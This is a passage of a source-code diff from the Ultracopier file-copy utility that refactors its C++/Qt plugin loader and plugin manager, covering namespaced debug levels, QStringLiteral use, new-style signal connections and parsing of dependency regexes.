- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("listener not found!"));
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, state: %1").arg(state));
+ PluginInterface_PluginLoader *temp=qobject_cast<PluginInterface_PluginLoader *>(QObject::sender());
+ if(temp==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("listener not located!"));
+ return;
+ }
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(temp==pluginList.at(index).pluginLoaderInterface)
+ {
+ pluginList[index].state=state;
+ pluginList[index].inWaitOfReply=false;
+ sendState(true);
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("listener not found!"));
}
diff --git a/PluginLoader.h b/PluginLoader.h
index 010956a..bb5812c 100755..100644
--- a/PluginLoader.h
+++ b/PluginLoader.h
@@ -1,8 +1,6 @@
/** \file PluginLoader.h
\brief Define the class to load the plugin and lunch it
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING
This class load ALL plugin compatible to listen and catch the copy/move
@@ -13,14 +11,16 @@ This class load ALL plugin compatible to listen and catch the copy/move
#include <QObject>
#include <QList>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
#include <QPluginLoader>
+#endif
#include <QString>
#include <QStringList>
#include "interface/PluginInterface_PluginLoader.h"
#include "PluginsManager.h"
-#include "GlobalClass.h"
#include "OptionDialog.h"
+#include "LocalPluginOptions.h"
namespace Ui {
class PluginLoaderOptions;
@@ -32,48 +32,51 @@ namespace Ui {
\see ResourcesManager::ResourcesManager()
*/
-class PluginLoader : public QObject, GlobalClass
+class PluginLoader : public QObject
{
- Q_OBJECT
+ Q_OBJECT
public:
- explicit PluginLoader(OptionDialog *optionDialog);
- ~PluginLoader();
- /** \brief to rended the state */
- void resendState();
- /** \brief should load plugin into file manager if needed */
- void load();
- /** \brief should unload plugin into file manager */
- void unload();
+ explicit PluginLoader(OptionDialog *optionDialog);
+ ~PluginLoader();
+ /** \brief to rended the state */
+ void resendState();
+ /** \brief should load plugin into file manager if needed */
+ void load();
+ /** \brief should unload plugin into file manager */
+ void unload();
private slots:
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- #ifdef ULTRACOPIER_DEBUG
- void debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
- #endif // ULTRACOPIER_DEBUG
- void allPluginIsloaded();
- void newState(const CatchState &state);
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ #ifdef ULTRACOPIER_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
+ #endif // ULTRACOPIER_DEBUG
+ void allPluginIsloaded();
+ void newState(const Ultracopier::CatchState &state);
private:
- //variable
- struct LocalPlugin
- {
- PluginInterface_PluginLoader * PluginLoaderInterface;
- QPluginLoader * pluginLoader;
- CatchState state;
- QString path;
- bool inWaitOfReply;
- LocalPluginOptions *options;
- };
- QList<LocalPlugin> pluginList;
- bool needEnable;
- //temp variable
- int index,loop_size;
- CatchState last_state;
- bool last_have_plugin,last_inWaitOfReply;
- void sendState(bool force=false);
- OptionDialog *optionDialog;
+ //variable
+ struct LocalPlugin
+ {
+ PluginInterface_PluginLoader * pluginLoaderInterface;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QPluginLoader * pluginLoader;
+ #endif
+ Ultracopier::CatchState state;
+ QString path;
+ bool inWaitOfReply;
+ LocalPluginOptions *options;
+ };
+ QList<LocalPlugin> pluginList;
+ bool needEnable;
+ Ultracopier::CatchState last_state;
+ bool last_have_plugin,last_inWaitOfReply;
+ void sendState(bool force=false);
+ OptionDialog *optionDialog;
+ bool stopIt;
signals:
- void pluginLoaderReady(CatchState state,bool havePlugin,bool someAreInWaitOfReply);
- void previouslyPluginAdded(PluginsAvailable);
+ void pluginLoaderReady(const Ultracopier::CatchState &state,bool havePlugin,bool someAreInWaitOfReply) const;
+ void previouslyPluginAdded(const PluginsAvailable &plugin) const;
};
#endif // PluginLoader_H
diff --git a/PluginsManager.cpp b/PluginsManager.cpp
index e3c71ec..1a8ad42 100644
--- a/PluginsManager.cpp
+++ b/PluginsManager.cpp
@@ -1,9 +1,7 @@
/** \file PluginsManager.cpp
\brief Define the class to manage and load the plugins
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#include <QDir>
#include <QMessageBox>
@@ -16,604 +14,636 @@
/// \brief Create the manager and load the defaults variables
PluginsManager::PluginsManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //load the overall instance
- pluginLoaded=false;
- resources=ResourcesManager::getInstance();
- options=OptionEngine::getInstance();
-
- language="en";
- stopIt=false;
- editionSemList.release();
- checkPluginThread=new AuthPlugin();
- englishPluginType << "CopyEngine" << "Languages" << "Listener" << "PluginLoader" << "SessionLoader" << "Themes";
- //catPlugin << tr("CopyEngine") << tr("Languages") << tr("Listener") << tr("PluginLoader") << tr("SessionLoader") << tr("Themes");
- importingPlugin=false;
- connect(&decodeThread, SIGNAL(decodedIsFinish()), this, SLOT(decodingFinished()),Qt::QueuedConnection);
- connect(checkPluginThread, SIGNAL(authentifiedPath(QString)), this, SLOT(newAuthPath(QString)),Qt::QueuedConnection);
- connect(this, SIGNAL(finished()), this, SLOT(post_operation()),Qt::QueuedConnection);
- connect(this, SIGNAL(newLanguageLoaded()), &pluginInformationWindows, SLOT(retranslateInformation()),Qt::QueuedConnection);
-// connect(this, SIGNAL(pluginListingIsfinish()), options,SLOT(setInterfaceValue()));
- //load the plugins list
- /// \bug bug when I put here: moveToThread(this);, due to the direction connection to remove the plugin
- start();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //load the overall instance
+ pluginLoaded = false;
+ language = QStringLiteral("en");
+ stopIt = false;
+ pluginInformation = NULL;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ importingPlugin = false;
+ #endif
+ editionSemList.release();
+ englishPluginType << QStringLiteral("CopyEngine") << QStringLiteral("Languages") << QStringLiteral("Listener") << QStringLiteral("PluginLoader") << QStringLiteral("SessionLoader") << QStringLiteral("Themes");
+ //catPlugin << tr("CopyEngine") << tr("Languages") << tr("Listener") << tr("PluginLoader") << tr("SessionLoader") << tr("Themes");
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ connect(&decodeThread, &QXzDecodeThread::decodedIsFinish, this, &PluginsManager::decodingFinished,Qt::QueuedConnection);
+ #endif
+ connect(this, &PluginsManager::finished, this, &PluginsManager::post_operation,Qt::QueuedConnection);
+// connect(this, &PluginsManager::pluginListingIsfinish, options,&OptionEngine::setInterfaceValue);
+ //load the plugins list
+
+ /// \bug bug when I put here: moveToThread(this);, due to the direction connection to remove the plugin
+ start();
}
/// \brief Destroy the manager
PluginsManager::~PluginsManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- int loop_size=pluginsList.size();
- while(index<loop_size)
- {
- emit onePluginWillBeUnloaded(pluginsList.at(index));
- index++;
- }
- stopIt=true;
- if(this->isRunning())
- this->wait(0);
- delete checkPluginThread;
- OptionEngine::destroyInstanceAtTheLastCall();
- ResourcesManager::destroyInstanceAtTheLastCall();
+ stopIt=true;
+ if(pluginInformation!=NULL)
+ delete pluginInformation;
+ if(this->isRunning())
+ this->wait(0);
}
/// \brief set current language
void PluginsManager::setLanguage(const QString &language)
{
- this->language=language;
+ this->language=language;
}
void PluginsManager::post_operation()
{
- pluginLoaded=true;
- emit pluginListingIsfinish();
+ pluginLoaded=true;
+ emit pluginListingIsfinish();
}
-bool PluginsManager::allPluginHaveBeenLoaded()
+bool PluginsManager::allPluginHaveBeenLoaded() const
{
- return pluginLoaded;
+ return pluginLoaded;
}
void PluginsManager::lockPluginListEdition()
{
- editionSemList.acquire();
+ editionSemList.acquire();
}
void PluginsManager::unlockPluginListEdition()
{
- editionSemList.release();
+ editionSemList.release();
}
void PluginsManager::run()
{
- //load the path and plugins into the path
- QStringList readPath;
- readPath << resources->getReadPath();
- pluginsList.clear();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"pluginsList.size(): "+QString::number(pluginsList.size()));
- foreach(QString basePath,readPath)
- {
- foreach(QString dirSub,englishPluginType)
- {
- QString pluginComposed=basePath+dirSub+QDir::separator();
- QDir dir(pluginComposed);
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"search plugin into: "+pluginComposed);
- if(dir.exists())
- {
- foreach(QString dirName, dir.entryList(QDir::Dirs|QDir::NoDotAndDotDot))
- {
- if(stopIt)
- return;
- loadPluginInformation(pluginComposed+dirName+QDir::separator());
- }
- }
- }
- }
- #ifdef ULTRACOPIER_DEBUG
- int index=0;
- int loop_size=pluginsList.size();
- while(index<loop_size)
- {
- QString category=categoryToString(pluginsList.at(index).category);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Plugin "+QString::number(index)+" loaded ("+category+"): "+pluginsList.at(index).path);
- index++;
- }
- #endif
- checkPluginThread->loadSearchPath(readPath,englishPluginType);
- checkPluginThread->stop();
- checkPluginThread->start();
- checkDependencies();
-}
-
-QString PluginsManager::categoryToString(const PluginType &category)
-{
- switch(category)
- {
- case PluginType_CopyEngine:
- return "CopyEngine";
- break;
- case PluginType_Languages:
- return "Languages";
- break;
- case PluginType_Listener:
- return "Listener";
- break;
- case PluginType_PluginLoader:
- return "PluginLoader";
- break;
- case PluginType_SessionLoader:
- return "SessionLoader";
- break;
- case PluginType_Themes:
- return "Themes";
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"cat text not found");
- return "Unknow";
- break;
- }
+ regexp_to_clean_1=QRegularExpression(QStringLiteral("[\n\r]+"));
+ regexp_to_clean_2=QRegularExpression(QStringLiteral("[ \t]+"));
+ regexp_to_clean_3=QRegularExpression(QStringLiteral("(&&)+"));
+ regexp_to_clean_4=QRegularExpression(QStringLiteral("^&&"));
+ regexp_to_clean_5=QRegularExpression(QStringLiteral("&&$"));
+ regexp_to_dep_1=QRegularExpression(QStringLiteral("(&&|\\|\\||\\(|\\))"));
+ regexp_to_dep_2=QRegularExpression(QStringLiteral("^(<=|<|=|>|>=)[a-zA-Z0-9\\-]+-([0-9]+\\.)*[0-9]+$"));
+ regexp_to_dep_3=QRegularExpression(QStringLiteral("(<=|<|=|>|>=)"));
+ regexp_to_dep_4=QRegularExpression(QStringLiteral("-([0-9]+\\.)*[0-9]+"));
+ regexp_to_dep_5=QRegularExpression(QStringLiteral("[a-zA-Z0-9\\-]+-"));
+ regexp_to_dep_6=QRegularExpression(QStringLiteral("[a-zA-Z0-9\\-]+-([0-9]+\\.)*[0-9]+"));
+
+ //load the path and plugins into the path
+ QStringList readPath;
+ readPath << ResourcesManager::resourcesManager->getReadPath();
+ pluginsList.clear();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("pluginsList.size(): ")+QString::number(pluginsList.size()));
+ foreach(QString basePath,readPath)
+ {
+ foreach(QString dirSub,englishPluginType)
+ {
+ QString pluginComposed=basePath+dirSub+QDir::separator();
+ QDir dir(pluginComposed);
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("search plugin into: ")+pluginComposed);
+ if(dir.exists())
+ {
+ foreach(QString dirName, dir.entryList(QDir::Dirs|QDir::NoDotAndDotDot))
+ {
+ if(stopIt)
+ return;
+ loadPluginInformation(pluginComposed+dirName+QDir::separator());
+ }
+ }
+ }
+ }
+ #ifdef ULTRACOPIER_DEBUG
+ int index_debug=0;
+ const int &loop_size=pluginsList.size();
+ while(index_debug<loop_size)
+ {
+ QString category=categoryToString(pluginsList.at(index_debug).category);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Plugin ")+QString::number(index_debug)+QStringLiteral(" loaded (")+category+QStringLiteral("): ")+pluginsList.at(index_debug).path);
+ index_debug++;
+ }
+ #endif
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ while(checkDependencies()!=0){};
+ #endif
+ //QList<PluginsAvailable> list;
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ if(pluginsList.at(index).errorString.isEmpty())
+ emit onePluginAdded(pluginsList.at(index));
+ index++;
+ }
+}
+
+QString PluginsManager::categoryToString(const PluginType &category) const
+{
+ switch(category)
+ {
+ case PluginType_CopyEngine:
+ return QStringLiteral("CopyEngine");
+ break;
+ case PluginType_Languages:
+ return QStringLiteral("Languages");
+ break;
+ case PluginType_Listener:
+ return QStringLiteral("Listener");
+ break;
+ case PluginType_PluginLoader:
+ return QStringLiteral("PluginLoader");
+ break;
+ case PluginType_SessionLoader:
+ return QStringLiteral("SessionLoader");
+ break;
+ case PluginType_Themes:
+ return QStringLiteral("Themes");
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("cat text not found: ")+QString::number(category));
+ return QStringLiteral("Unknown");
+ break;
+ }
}
QString PluginsManager::categoryToTranslation(const PluginType &category)
{
- return pluginInformationWindows.categoryToTranslation(category);
+ if(pluginInformation==NULL)
+ {
+ pluginInformation=new PluginInformation();
+ connect(this, &PluginsManager::newLanguageLoaded, pluginInformation, &PluginInformation::retranslateInformation,Qt::QueuedConnection);
+ }
+ return pluginInformation->categoryToTranslation(category);
}
bool PluginsManager::isSamePlugin(const PluginsAvailable &pluginA,const PluginsAvailable &pluginB)
{
- /*if(pluginA.category!=pluginB.category)
- return false;*/
- //only this test should be suffisent
- if(pluginA.path!=pluginB.path)
- return false;
- /*if(pluginA.name!=pluginB.name)
- return false;
- if(pluginA.writablePath!=pluginB.writablePath)
- return false;
- if(pluginA.categorySpecific!=pluginB.categorySpecific)
- return false;
- if(pluginA.version!=pluginB.version)
- return false;
- if(pluginA.informations!=pluginB.informations)
- return false;*/
- return true;
+ /*if(pluginA.category!=pluginB.category)
+ return false;*/
+ //only this test should be suffisent
+ if(pluginA.path!=pluginB.path)
+ return false;
+ /*if(pluginA.name!=pluginB.name)
+ return false;
+ if(pluginA.writablePath!=pluginB.writablePath)
+ return false;
+ if(pluginA.categorySpecific!=pluginB.categorySpecific)
+ return false;
+ if(pluginA.version!=pluginB.version)
+ return false;
+ if(pluginA.informations!=pluginB.informations)
+ return false;*/
+ return true;
}
bool PluginsManager::loadPluginInformation(const QString &path)
{
- PluginsAvailable tempPlugin;
- tempPlugin.isAuth = false;
- tempPlugin.path = path;
- tempPlugin.category = PluginType_Unknow;
- QDir pluginPath(path);
- if(pluginPath.cdUp() && pluginPath.cdUp() &&
- resources->getWritablePath()!="" &&
- pluginPath==QDir(resources->getWritablePath()))
- tempPlugin.isWritable=true;
- else
- tempPlugin.isWritable=false;
- QFile xmlMetaData(path+"informations.xml");
- if(xmlMetaData.exists())
- {
- if(xmlMetaData.open(QIODevice::ReadOnly))
- {
- loadPluginXml(&tempPlugin,xmlMetaData.readAll());
- xmlMetaData.close();
- }
- else
- {
- tempPlugin.errorString=tr("informations.xml is not accessible");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"informations.xml is not accessible into the plugin: "+path);
- }
- }
- else
- {
- tempPlugin.errorString=tr("informations.xml not found into the plugin");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"informations.xml not found into the plugin: "+path);
- }
- editionSemList.acquire();
- pluginsList << tempPlugin;
- if(tempPlugin.errorString=="")
- pluginsListIndexed.insert(tempPlugin.category,tempPlugin);
- editionSemList.release();
- if(tempPlugin.errorString=="")
- {
- emit onePluginAdded(tempPlugin);
- return true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Error detected, the not loaded: "+tempPlugin.errorString+", for path: "+tempPlugin.path);
- return false;
- }
+ PluginsAvailable tempPlugin;
+ tempPlugin.isAuth = false;
+ tempPlugin.path = path;
+ tempPlugin.category = PluginType_Unknow;
+ QDir pluginPath(path);
+ if(pluginPath.cdUp() && pluginPath.cdUp() &&
+ ResourcesManager::resourcesManager->getWritablePath()!="" &&
+ pluginPath==QDir(ResourcesManager::resourcesManager->getWritablePath()))
+ tempPlugin.isWritable=true;
+ else
+ tempPlugin.isWritable=false;
+ QFile xmlMetaData(path+QStringLiteral("informations.xml"));
+ if(xmlMetaData.exists())
+ {
+ if(xmlMetaData.open(QIODevice::ReadOnly))
+ {
+ loadPluginXml(&tempPlugin,xmlMetaData.readAll());
+ xmlMetaData.close();
+ }
+ else
+ {
+ tempPlugin.errorString=tr("informations.xml is not accessible");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("informations.xml is not accessible into the plugin: ")+path);
+ }
+ }
+ else
+ {
+ tempPlugin.errorString=tr("informations.xml not found for the plugin");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("informations.xml not found for the plugin: ")+path);
+ }
+ editionSemList.acquire();
+ pluginsList << tempPlugin;
+ if(tempPlugin.errorString==QStringLiteral(""))
+ pluginsListIndexed.insert(tempPlugin.category,tempPlugin);
+ editionSemList.release();
+ if(tempPlugin.errorString==QStringLiteral(""))
+ return true;
+ else
+ {
+ emit onePluginInErrorAdded(tempPlugin);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Error detected, the not loaded: ")+tempPlugin.errorString+QStringLiteral(", for path: ")+tempPlugin.path);
+ return false;
+ }
}
void PluginsManager::loadPluginXml(PluginsAvailable * thePlugin,const QByteArray &xml)
{
- QString errorStr;
- int errorLine;
- int errorColumn;
- QDomDocument domDocument;
- if (!domDocument.setContent(xml, false, &errorStr,&errorLine,&errorColumn))
- {
- thePlugin->errorString=tr("%1, parse error at line %2, column %3: %4").arg("informations.xml").arg(errorLine).arg(errorColumn).arg(errorStr);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("%1, Parse error at line %2, column %3: %4").arg("informations.xml").arg(errorLine).arg(errorColumn).arg(errorStr));
- }
- else
- {
- QDomElement root = domDocument.documentElement();
- if (root.tagName() != "package")
- {
- thePlugin->errorString=tr("\"package\" root tag not found for the xml file");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"\"package\" root balise not found for the xml file");
- }
- //load the variable
- if(thePlugin->errorString=="")
- loadBalise(root,"title",&(thePlugin->informations),&(thePlugin->errorString),true,true,true);
- if(thePlugin->errorString=="")
- loadBalise(root,"website",&(thePlugin->informations),&(thePlugin->errorString),false,true);
- if(thePlugin->errorString=="")
- loadBalise(root,"description",&(thePlugin->informations),&(thePlugin->errorString),true,true,true);
- if(thePlugin->errorString=="")
- loadBalise(root,"author",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- loadBalise(root,"pubDate",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- {
- loadBalise(root,"version",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- thePlugin->version=thePlugin->informations.last().last();
- }
- if(thePlugin->errorString=="")
- {
- loadBalise(root,"category",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- {
- QString tempCat=thePlugin->informations.last().last();
- if(tempCat=="Languages")
- thePlugin->category=PluginType_Languages;
- else if(tempCat=="CopyEngine")
- thePlugin->category=PluginType_CopyEngine;
- else if(tempCat=="Listener")
- thePlugin->category=PluginType_Listener;
- else if(tempCat=="PluginLoader")
- thePlugin->category=PluginType_PluginLoader;
- else if(tempCat=="SessionLoader")
- thePlugin->category=PluginType_SessionLoader;
- else if(tempCat=="Themes")
- thePlugin->category=PluginType_Themes;
- else
- thePlugin->errorString="Unknow category: "+QString::number((int)thePlugin->category);
- if(thePlugin->errorString.isEmpty())
- {
- if(thePlugin->category!=PluginType_Languages)
- {
- loadBalise(root,"architecture",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- {
- #ifndef ULTRACOPIER_VERSION_PORTABLE
- if(thePlugin->informations.last().last()!=ULTRACOPIER_PLATFORM_CODE)
- thePlugin->errorString="Wrong platform code: "+thePlugin->informations.last().last();
- #endif
- }
- }
- }
- }
- }
- if(thePlugin->errorString=="")
- {
- loadBalise(root,"name",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- {
- thePlugin->name=thePlugin->informations.last().last();
- int index=0;
- int loop_size=pluginsList.size();
- int sub_index,loop_sub_size;
- while(index<loop_size)
- {
- sub_index=0;
- loop_sub_size=pluginsList.at(index).informations.size();
- while(sub_index<loop_sub_size)
- {
- if(pluginsList.at(index).informations.at(sub_index).first()=="name" &&
- pluginsList.at(index).name==thePlugin->name &&
- pluginsList.at(index).category==thePlugin->category)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Plugin duplicate found ("+QString::number((int)thePlugin->category)+"/"+pluginsList.at(index).informations.at(sub_index).last()+"), already loaded, actual version skipped: "+thePlugin->version);
- thePlugin->errorString=tr("Duplicated plugin found, already loaded!");
- break;
- break;
- }
- sub_index++;
- }
- index++;
- }
- }
- }
- if(thePlugin->errorString=="")
- loadBalise(root,"dependencies",&(thePlugin->informations),&(thePlugin->errorString),true,false);
- if(thePlugin->errorString=="")
- {
- QDomElement child = root.firstChildElement("categorySpecific");
- if(!child.isNull() && child.isElement())
- thePlugin->categorySpecific=child;
- }
- }
+ QString errorStr;
+ int errorLine;
+ int errorColumn;
+ QDomDocument domDocument;
+ if (!domDocument.setContent(xml, false, &errorStr,&errorLine,&errorColumn))
+ {
+ thePlugin->errorString=tr("%1, parse error at line %2, column %3: %4").arg(QStringLiteral("informations.xml")).arg(errorLine).arg(errorColumn).arg(errorStr);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("%1, Parse error at line %2, column %3: %4").arg(QStringLiteral("informations.xml")).arg(errorLine).arg(errorColumn).arg(errorStr));
+ }
+ else
+ {
+ QDomElement root = domDocument.documentElement();
+ if (root.tagName() != QStringLiteral("package"))
+ {
+ thePlugin->errorString=tr("\"package\" root tag not found for the xml file");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("\"package\" root balise not found for the xml file"));
+ }
+ //load the variable
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("title"),&(thePlugin->informations),&(thePlugin->errorString),true,true,true);
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("website"),&(thePlugin->informations),&(thePlugin->errorString),false,true);
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("description"),&(thePlugin->informations),&(thePlugin->errorString),true,true,true);
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("author"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("pubDate"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ {
+ loadBalise(root,QStringLiteral("version"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ thePlugin->version=thePlugin->informations.last().last();
+ }
+ if(thePlugin->errorString.isEmpty())
+ {
+ loadBalise(root,QStringLiteral("category"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ {
+ QString tempCat=thePlugin->informations.last().last();
+ if(tempCat==QStringLiteral("Languages"))
+ thePlugin->category=PluginType_Languages;
+ else if(tempCat==QStringLiteral("CopyEngine"))
+ thePlugin->category=PluginType_CopyEngine;
+ else if(tempCat==QStringLiteral("Listener"))
+ thePlugin->category=PluginType_Listener;
+ else if(tempCat==QStringLiteral("PluginLoader"))
+ thePlugin->category=PluginType_PluginLoader;
+ else if(tempCat==QStringLiteral("SessionLoader"))
+ thePlugin->category=PluginType_SessionLoader;
+ else if(tempCat==QStringLiteral("Themes"))
+ thePlugin->category=PluginType_Themes;
+ else
+ thePlugin->errorString=QStringLiteral("Unknow category: ")+QString::number((int)thePlugin->category);
+ if(thePlugin->errorString.isEmpty())
+ {
+ if(thePlugin->category!=PluginType_Languages)
+ {
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ loadBalise(root,QStringLiteral("architecture"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ {
+ if(thePlugin->informations.last().last()!=ULTRACOPIER_PLATFORM_CODE)
+ thePlugin->errorString=QStringLiteral("Wrong platform code: ")+thePlugin->informations.last().last();
+ }
+ #endif
+ }
+ }
+ }
+ }
+ if(thePlugin->errorString.isEmpty())
+ {
+ loadBalise(root,QStringLiteral("name"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ {
+ thePlugin->name=thePlugin->informations.last().last();
+ int index=0;
+ const int &loop_size=pluginsList.size();
+ int sub_index,loop_sub_size;
+ while(index<loop_size)
+ {
+ sub_index=0;
+ loop_sub_size=pluginsList.at(index).informations.size();
+ while(sub_index<loop_sub_size)
+ {
+ if(pluginsList.at(index).informations.at(sub_index).first()==QStringLiteral("name") &&
+ pluginsList.at(index).name==thePlugin->name &&
+ pluginsList.at(index).category==thePlugin->category)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Plugin duplicate found ("+QString::number((int)thePlugin->category)+"/"+pluginsList.at(index).informations.at(sub_index).last()+"), already loaded, actual version skipped: "+thePlugin->version);
+ thePlugin->errorString=tr("Duplicated plugin found, already loaded!");
+ break;
+ break;
+ }
+ sub_index++;
+ }
+ index++;
+ }
+ }
+ }
+ if(thePlugin->errorString.isEmpty())
+ loadBalise(root,QStringLiteral("dependencies"),&(thePlugin->informations),&(thePlugin->errorString),true,false);
+ if(thePlugin->errorString.isEmpty())
+ {
+ QDomElement child = root.firstChildElement(QStringLiteral("categorySpecific"));
+ if(!child.isNull() && child.isElement())
+ thePlugin->categorySpecific=child;
+ }
+ }
}
/// \brief to load the multi-language balise
void PluginsManager::loadBalise(const QDomElement &root,const QString &name,QList<QStringList> *informations,QString *errorString,bool needHaveOneEntryMinimum,bool multiLanguage,bool englishNeedBeFound)
{
- int foundElement=0;
- bool englishTextIsFoundForThisChild=false;
- QDomElement child = root.firstChildElement(name);
- while(!child.isNull())
- {
- if(child.isElement())
- {
- QStringList newInformations;
- if(multiLanguage)
- {
- if(child.hasAttribute("xml:lang"))
- {
- if(child.attribute("xml:lang")=="en")
- englishTextIsFoundForThisChild=true;
- foundElement++;
- newInformations << child.tagName() << child.attribute("xml:lang") << child.text();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Have not the attribute xml:lang: child.tagName(): %1, child.text(): %2").arg(child.tagName()).arg(child.text()));
- }
- else
- {
- foundElement++;
- newInformations << child.tagName() << child.text();
- }
- *informations << newInformations;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Is not Element: child.tagName(): %1").arg(child.tagName()));
- child = child.nextSiblingElement(name);
- }
- if(multiLanguage && englishTextIsFoundForThisChild==false && englishNeedBeFound)
- {
- informations->clear();
- *errorString=tr("English text missing into the informations.xml for the tag: %1").arg(name);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("English text missing into the informations.xml for the tag: %1").arg(name));
- return;
- }
- if(needHaveOneEntryMinimum && foundElement==0)
- {
- informations->clear();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Tag not found: %1").arg(name));
- *errorString=tr("Tag not found: %1").arg(name);
- }
+ int foundElement=0;
+ bool englishTextIsFoundForThisChild=false;
+ QDomElement child = root.firstChildElement(name);
+ while(!child.isNull())
+ {
+ if(child.isElement())
+ {
+ QStringList newInformations;
+ if(multiLanguage)
+ {
+ if(child.hasAttribute(QStringLiteral("xml:lang")))
+ {
+ if(child.attribute(QStringLiteral("xml:lang"))==QStringLiteral("en"))
+ englishTextIsFoundForThisChild=true;
+ foundElement++;
+ newInformations << child.tagName() << child.attribute(QStringLiteral("xml:lang")) << child.text();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Have not the attribute xml:lang: child.tagName(): %1, child.text(): %2").arg(child.tagName()).arg(child.text()));
+ }
+ else
+ {
+ foundElement++;
+ newInformations << child.tagName() << child.text();
+ }
+ *informations << newInformations;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Is not Element: child.tagName(): %1").arg(child.tagName()));
+ child = child.nextSiblingElement(name);
+ }
+ if(multiLanguage && englishTextIsFoundForThisChild==false && englishNeedBeFound)
+ {
+ informations->clear();
+ *errorString=tr("English text missing in the informations.xml for the tag: %1").arg(name);
